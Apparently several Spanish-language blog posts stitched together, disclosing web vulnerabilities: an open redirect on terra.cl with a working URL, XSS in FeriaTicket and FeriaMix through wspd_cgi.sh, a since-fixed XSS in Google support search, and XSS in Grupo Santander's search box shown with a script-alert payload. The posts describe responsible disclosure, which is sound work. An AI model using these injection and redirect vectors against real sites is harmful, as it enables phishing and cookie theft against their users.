http://m.terra.cl/pms/mod_portal_rendering/templates/ATOMO/COMUM/COPAMUNDO/PHP/votaAnimo.php?voto=3&pais=CL&urlRetorno=aHR0cDovL3d3dy5nb29nbGUuY2w=

Podemos ver como el navegado se va automaticamente al sitio de Google. De esta forma,es posible hacer que un usuario ingrese a un sitio malicioso, usando la confianza del dominio de terra.cl.

FeriaTicket se dedica a la venta de tickets/entradas de eventos de todo tipo y FeriaMix vende libros y música, mediante el registro de usuario es posible realizar compras en línea en ambas tiendas. Ambos sitios web, pertenecientes a la misma empresa, están desarrollados por la misma empresa usando el mismo sistema web (framework, cms o como quieran llamarlo) y así mismo, comparten los mismos bugs y vulnerabilidades.

La vulnerabilidad en común corresponde a una del tipo Cross-Site Scripting (XSS) al no validar los parametros de la URL, permitiendo la inyección de código html o javascript arbitrario.
Especificamente, se encuentra en el script wspd_cgi.sh al no validar el valor que se le entrega a la variable wspd_cgi.sh.

wspd_cgi.sh/WService=<código malicioso>

No está demas decir que la vulnerabilidad permite redireccionar a un sitio distinto al de FeriaTicket o FeriaMix, pudiendo robar las cookies y suplantar la identidad de los clientes, accediendo a información privada. A pesar de lo que la empresa declara en su página relacionada con la privacidad y la seguridad:

Compromiso con la Seguridad
En relación a nuestro sitio web (www.feriamix.cl), Empresas Feria hace esta declaración de seguridad y privacidad en orden a demostrar y comunicar su compromiso con una práctica de negocios de alto nivel ético y dotada de los controles internos apropiados.

Protección de Datos
Nuestro sitio está protegido con una amplia variedad de medidas de seguridad, tales como procedimientos de control de cambios, passwords y controles de acceso fí­sico. También empleamos otros mecanismos para asegurar que los datos que nos proporcionas no sean extraviados, mal utilizados o modificados inapropiadamente. Esos controles incluyen polí­ticas de confidencialidad y respaldo periódico de bases de datos.

Puedo asegurar que no están cumpliendo con lo que dicen.

Prueba de concepto FeriaMix:

Prueba de concepto FeriaTicket:

La empresa afectada fue avisada vía twitter al no encontrar ningun correo de contacto, pero no dieron respuesta.

El problema lo corrigieron (parcialmente) casi 30 minutos luego de haberlo reportado, sin embargo, la gente del Google Security Team, me comentaron que ya lo habían reportado. Sin embargo, lo habían corregido parcialmente, ya que aún existían sitios que tenian el problema. Por ejemplo, corrigieron el problema en docs.google.com, www.google.com y en mail.google.com, pero en labs.google.com, code.google.com y otros seguía existiendo. Cuando me dijeron que ya lo habían corregido, les reporté que la vulnerabilidad continuaba en algunos sitios, y luego de esto lo corrigieron.

Hasta la fecha, al parecer ya están todos los subdominios corregidos.

El error es un XSS bastante básico, que puede ser explotado al no filtrar los parametros de entrada del input de búsqueda en los sitios de ayuda y soporte de Google. Las URLs vulnerables eran del tipo *.google.com/support/bin/search.py.

El codigo fuente, al no filtrar los datos de entrada

Insertando un IFRAME

Como comentario final, me gustaria dejar en claro que Google se portó muy bien, respondió todos los correos relacionados a estos reportes y solucionó los problemas muy brevemente.

Por lo general son descuidados y permiten la inyección de código html o javascript en los campos “buscar” de los buscadores de cada sitio. Por ejemplo en el sitio web del Grupo Santander:

Si inyectamos código HTML y JavaScript para desplegar una alerta, como <script>alert(/it sucks/)</script> o similar, veremos como el navegador interpretará el código.

En este caso no existe el riesgo del robo de identidad pero si existe la posibilidad de realizar phishing usando la confianza del dominio “Santander.com“